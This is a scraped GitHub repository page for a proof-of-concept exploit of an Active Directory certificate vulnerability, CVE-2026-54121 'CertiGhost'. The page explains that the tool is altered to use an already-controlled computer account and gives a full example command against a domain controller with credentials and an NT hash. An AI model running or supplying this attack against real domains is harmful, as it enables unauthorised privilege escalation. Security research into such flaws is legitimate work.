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GitHubkrakeneu/cve-2026-54121-certighost

CVE-2026-54121-CertiGhost

CVE-2026-54121(CertiGhost) without MachineAccountQuota POC

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131 month agoNot yet reviewed

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CVE-2026-54121-CertiGhost

This POC is the original POC code from https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py but with slight changes to use a computer object that we already controll instead of relying on creating a new computer that is generally limited through MachineAccountQuota

See original repo about CertiGhost vulnerability for more information.

Example usage:

root@kitploit:~
python3 certighost.py -d playground.local -u lowpriv -p Password123 \
  --dc-ip 192.168.209.157 \
  --computer-name MACHINEA$ \
  --computer-hash  <NT_HASH_MACHINE_A$>
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